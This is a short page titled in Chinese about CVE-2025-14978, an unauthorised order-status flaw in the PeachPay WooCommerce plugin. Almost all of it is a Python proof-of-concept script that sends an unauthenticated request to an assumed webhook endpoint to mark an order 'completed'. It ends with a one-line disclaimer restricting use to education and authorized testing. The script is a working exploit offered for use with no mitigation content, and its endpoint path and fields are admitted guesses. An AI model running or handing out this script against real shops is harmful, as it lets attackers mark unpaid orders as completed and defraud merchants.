CVE-2025-14978 PeachPay WooCommerce插件未授权订单状态修改漏洞

import requests import json # CVE-2025-14978 PoC - Unauthorized Order Status Modification # Target: PeachPay WooCommerce Plugin < 1.119.9 # Vulnerability: Missing capability check on ConvesioPay webhook REST endpoint target_url = "http://target-wordpress-site.com" # The webhook endpoint path (example, actual path may vary) webhook_endpoint = "/wp-json/peachpay/v1/convesiopay/webhook" # Target order ID to modify target_order_id = 12345 # Desired malicious status (e.g., 'completed', 'processing', 'pending') target_status = "completed" # Construct the malicious request url = f"{target_url}{webhook_endpoint}" payload = { "order_id": target_order_id, "status": target_status, # Additional parameters may be required depending on implementation "order_status": target_status } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-14978-PoC)" } print(f"[*] Sending malicious request to: {url}") print(f"[*] Target Order ID: {target_order_id}") print(f"[*] Target Status: {target_status}") try: response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Order status may have been modified") else: print("[-] Exploit may have failed - Check response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC is for educational and authorized testing purposes only.